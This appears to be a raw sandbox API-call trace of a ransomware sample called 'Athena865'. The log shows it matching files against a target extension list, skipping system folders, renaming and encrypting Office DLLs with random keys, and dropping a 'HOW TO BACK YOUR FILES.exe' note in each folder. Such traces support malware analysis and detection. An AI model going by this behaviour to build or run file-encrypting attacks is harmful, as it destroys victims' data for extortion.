lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0083.130] lstrlenW (lpString="dcx") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0083.130] lstrlenW (lpString="ddl") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0083.130] lstrlenW (lpString="dlis") returned 4 [0083.130] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0083.130] lstrlenW (lpString="dp1") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0083.130] lstrlenW (lpString="dqy") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0083.130] lstrlenW (lpString="dsk") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0083.130] lstrlenW (lpString="dsn") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0083.130] lstrlenW (lpString="dtsx") returned 4 [0083.130] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0083.130] lstrlenW (lpString="dxl") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0083.130] lstrlenW (lpString="eco") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0083.130] lstrlenW (lpString="ecx") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0083.130] lstrlenW (lpString="edb") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0083.131] lstrlenW (lpString="epim") returned 4 [0083.131] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0083.131] lstrlenW (lpString="fcd") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0083.131] lstrlenW (lpString="fdb") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0083.131] lstrlenW (lpString="fic") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0083.131] lstrlenW (lpString="flexolibrary") returned 12 [0083.131] lstrlenW (lpString="fm5") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0083.131] lstrlenW (lpString="fmp") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0083.131] lstrlenW (lpString="fmp12") returned 5 [0083.131] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0083.131] lstrlenW (lpString="fmpsl") returned 5 [0083.131] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0083.131] lstrlenW (lpString="fol") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0083.131] lstrlenW (lpString="fp3") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0083.131] lstrlenW (lpString="fp4") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0083.131] lstrlenW (lpString="fp5") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0083.131] lstrlenW (lpString="fp7") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0083.131] lstrlenW (lpString="fpt") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0083.131] lstrlenW (lpString="frm") returned 3 [0083.131] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0083.132] lstrlenW (lpString="gdb") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.132] lstrlenW (lpString="gdb") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.132] lstrlenW (lpString="grdb") returned 4 [0083.132] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0083.132] lstrlenW (lpString="gwi") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0083.132] lstrlenW (lpString="hdb") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0083.132] lstrlenW (lpString="his") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0083.132] lstrlenW (lpString="ib") returned 2 [0083.132] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0083.132] lstrlenW (lpString="idb") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0083.132] lstrlenW (lpString="ihx") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0083.132] lstrlenW (lpString="itdb") returned 4 [0083.132] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0083.132] lstrlenW (lpString="itw") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0083.132] lstrlenW (lpString="jet") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0083.132] lstrlenW (lpString="jtx") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0083.132] lstrlenW (lpString="kdb") returned 3 [0083.132] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0083.132] lstrlenW (lpString="kexi") returned 4 [0083.132] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0083.132] lstrlenW (lpString="kexic") returned 5 [0083.132] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0083.133] lstrlenW (lpString="kexis") returned 5 [0083.133] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0083.133] lstrlenW (lpString="lgc") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0083.133] lstrlenW (lpString="lwx") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0083.133] lstrlenW (lpString="maf") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0083.133] lstrlenW (lpString="maq") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0083.133] lstrlenW (lpString="mar") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0083.133] lstrlenW (lpString="marshal") returned 7 [0083.133] lstrcmpiW (lpString1="VBS.DLL", lpString2="marshal") returned 1 [0083.133] lstrlenW (lpString="mas") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0083.133] lstrlenW (lpString="mav") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0083.133] lstrlenW (lpString="maw") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0083.133] lstrlenW (lpString="mdbhtml") returned 7 [0083.133] lstrcmpiW (lpString1="VBS.DLL", lpString2="mdbhtml") returned 1 [0083.133] lstrlenW (lpString="mdn") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0083.133] lstrlenW (lpString="mdt") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0083.133] lstrlenW (lpString="mfd") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0083.133] lstrlenW (lpString="mpd") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0083.133] lstrlenW (lpString="mrg") returned 3 [0083.133] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0083.133] lstrlenW (lpString="mud") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0083.134] lstrlenW (lpString="mwb") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0083.134] lstrlenW (lpString="myd") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0083.134] lstrlenW (lpString="ndf") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0083.134] lstrlenW (lpString="nnt") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0083.134] lstrlenW (lpString="nrmlib") returned 6 [0083.134] lstrcmpiW (lpString1="BS.DLL", lpString2="nrmlib") returned -1 [0083.134] lstrlenW (lpString="ns2") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0083.134] lstrlenW (lpString="ns3") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0083.134] lstrlenW (lpString="ns4") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0083.134] lstrlenW (lpString="nsf") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0083.134] lstrlenW (lpString="nv") returned 2 [0083.134] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0083.134] lstrlenW (lpString="nv2") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0083.134] lstrlenW (lpString="nwdb") returned 4 [0083.134] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0083.134] lstrlenW (lpString="nyf") returned 3 [0083.134] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0083.134] lstrlenW (lpString="odb") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.135] lstrlenW (lpString="odb") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.135] lstrlenW (lpString="oqy") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0083.135] lstrlenW (lpString="ora") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0083.135] lstrlenW (lpString="orx") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0083.135] lstrlenW (lpString="owc") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0083.135] lstrlenW (lpString="p96") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0083.135] lstrlenW (lpString="p97") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0083.135] lstrlenW (lpString="pan") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0083.135] lstrlenW (lpString="pdb") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0083.135] lstrlenW (lpString="pdm") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0083.135] lstrlenW (lpString="pnz") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0083.135] lstrlenW (lpString="qry") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0083.135] lstrlenW (lpString="qvd") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0083.135] lstrlenW (lpString="rbf") returned 3 [0083.135] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0083.135] lstrlenW (lpString="rctd") returned 4 [0083.135] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0083.136] lstrlenW (lpString="rod") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0083.136] lstrlenW (lpString="rodx") returned 4 [0083.136] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0083.136] lstrlenW (lpString="rpd") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0083.136] lstrlenW (lpString="rsd") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0083.136] lstrlenW (lpString="sas7bdat") returned 8 [0083.136] lstrcmpiW (lpString1="LVBS.DLL", lpString2="sas7bdat") returned -1 [0083.136] lstrlenW (lpString="sbf") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0083.136] lstrlenW (lpString="scx") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0083.136] lstrlenW (lpString="sdb") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0083.136] lstrlenW (lpString="sdc") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0083.136] lstrlenW (lpString="sdf") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0083.136] lstrlenW (lpString="sis") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0083.136] lstrlenW (lpString="spq") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0083.136] lstrlenW (lpString="te") returned 2 [0083.136] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0083.136] lstrlenW (lpString="teacher") returned 7 [0083.136] lstrcmpiW (lpString1="VBS.DLL", lpString2="teacher") returned 1 [0083.136] lstrlenW (lpString="tmd") returned 3 [0083.136] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0083.136] lstrlenW (lpString="tps") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0083.137] lstrlenW (lpString="trc") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.137] lstrlenW (lpString="trc") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.137] lstrlenW (lpString="trm") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0083.137] lstrlenW (lpString="udb") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0083.137] lstrlenW (lpString="udl") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0083.137] lstrlenW (lpString="usr") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0083.137] lstrlenW (lpString="v12") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0083.137] lstrlenW (lpString="vis") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0083.137] lstrlenW (lpString="vpd") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0083.137] lstrlenW (lpString="vvv") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0083.137] lstrlenW (lpString="wdb") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0083.137] lstrlenW (lpString="wmdb") returned 4 [0083.137] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0083.137] lstrlenW (lpString="wrk") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0083.137] lstrlenW (lpString="xdb") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0083.137] lstrlenW (lpString="xld") returned 3 [0083.137] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0083.137] lstrlenW (lpString="xmlff") returned 5 [0083.138] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0083.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL.Athena865") returned 64 [0083.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlvbs.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlvbs.dll.athena865"), dwFlags=0x1) returned 1 [0083.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLVBS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlvbs.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0083.140] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71536) returned 1 [0083.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.140] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.141] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.141] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.141] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11a70, lpName=0x0) returned 0x17c [0083.146] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11a70) returned 0x100000 [0083.161] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.161] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.161] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.162] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.163] CloseHandle (hObject=0x17c) returned 1 [0083.163] CloseHandle (hObject=0x154) returned 1 [0083.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.163] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAGESIZE", cAlternateFileName="")) returned 1 [0083.163] lstrcmpiW (lpString1="PAGESIZE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2=".") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="..") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="windows") returned -1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="bootmgr") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="temp") returned -1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="pagefile.sys") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="boot") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="ids.txt") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="ntuser.dat") returned 1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="perflogs") returned -1 [0083.164] lstrcmpiW (lpString1="PAGESIZE", lpString2="MSBuild") returned 1 [0083.164] lstrlenW (lpString="PAGESIZE") returned 8 [0083.164] lstrcpyW (in: lpString1=0x241e89e, lpString2="PAGESIZE" | out: lpString1="PAGESIZE") returned="PAGESIZE" [0083.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b720 [0083.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x53a180 [0083.164] lstrcatW (in: lpString1="PAGESIZE", lpString2="\\" | out: lpString1="PAGESIZE\\") returned="PAGESIZE\\" [0083.164] lstrcatW (in: lpString1="PAGESIZE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PAGESIZE\\HOW TO BACK YOUR FILES.exe") returned="PAGESIZE\\HOW TO BACK YOUR FILES.exe" [0083.164] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to back your files.exe"), bFailIfExists=1) returned 1 [0083.190] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2=".") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="..") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="windows") returned -1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="bootmgr") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="temp") returned -1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="pagefile.sys") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="boot") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="ids.txt") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="ntuser.dat") returned 1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="perflogs") returned -1 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2="MSBuild") returned 1 [0083.190] lstrlenW (lpString="PDSBASE.DLL") returned 11 [0083.190] lstrcpyW (in: lpString1=0x241e89e, lpString2="PDSBASE.DLL" | out: lpString1="PDSBASE.DLL") returned="PDSBASE.DLL" [0083.190] lstrlenW (lpString="PDSBASE.DLL") returned 11 [0083.190] lstrlenW (lpString="Athena865") returned 9 [0083.190] lstrcmpiW (lpString1="SBASE.DLL", lpString2="Athena865") returned 1 [0083.190] lstrlenW (lpString=".dll") returned 4 [0083.190] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2=".dll") returned 1 [0083.191] lstrlenW (lpString=".lnk") returned 4 [0083.191] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2=".lnk") returned 1 [0083.191] lstrlenW (lpString=".ini") returned 4 [0083.191] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2=".ini") returned 1 [0083.191] lstrlenW (lpString=".sys") returned 4 [0083.191] lstrcmpiW (lpString1="PDSBASE.DLL", lpString2=".sys") returned 1 [0083.191] lstrlenW (lpString="PDSBASE.DLL") returned 11 [0083.191] lstrlenW (lpString="bak") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0083.191] lstrlenW (lpString="ba_") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0083.191] lstrlenW (lpString="dbb") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0083.191] lstrlenW (lpString="vmdk") returned 4 [0083.191] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0083.191] lstrlenW (lpString="rar") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0083.191] lstrlenW (lpString="zip") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0083.191] lstrlenW (lpString="tgz") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0083.191] lstrlenW (lpString="vbox") returned 4 [0083.191] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0083.191] lstrlenW (lpString="vdi") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0083.191] lstrlenW (lpString="vhd") returned 3 [0083.191] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0083.191] lstrlenW (lpString="vhdx") returned 4 [0083.191] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0083.191] lstrlenW (lpString="avhd") returned 4 [0083.191] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0083.191] lstrlenW (lpString="db") returned 2 [0083.191] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0083.192] lstrlenW (lpString="db2") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0083.192] lstrlenW (lpString="db3") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0083.192] lstrlenW (lpString="dbf") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0083.192] lstrlenW (lpString="mdf") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0083.192] lstrlenW (lpString="mdb") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0083.192] lstrlenW (lpString="sql") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0083.192] lstrlenW (lpString="sqlite") returned 6 [0083.192] lstrcmpiW (lpString1="SE.DLL", lpString2="sqlite") returned -1 [0083.192] lstrlenW (lpString="sqlite3") returned 7 [0083.192] lstrcmpiW (lpString1="ASE.DLL", lpString2="sqlite3") returned -1 [0083.192] lstrlenW (lpString="sqlitedb") returned 8 [0083.192] lstrcmpiW (lpString1="BASE.DLL", lpString2="sqlitedb") returned -1 [0083.192] lstrlenW (lpString="xml") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0083.192] lstrlenW (lpString="$er") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0083.192] lstrlenW (lpString="4dd") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0083.192] lstrlenW (lpString="4dl") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0083.192] lstrlenW (lpString="^^^") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0083.192] lstrlenW (lpString="abs") returned 3 [0083.192] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0083.192] lstrlenW (lpString="abx") returned 3 [0083.193] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0083.193] lstrlenW (lpString="accdb") returned 5 [0083.193] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0083.193] lstrlenW (lpString="accdc") returned 5 [0083.193] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0083.193] lstrlenW (lpString="accde") returned 5 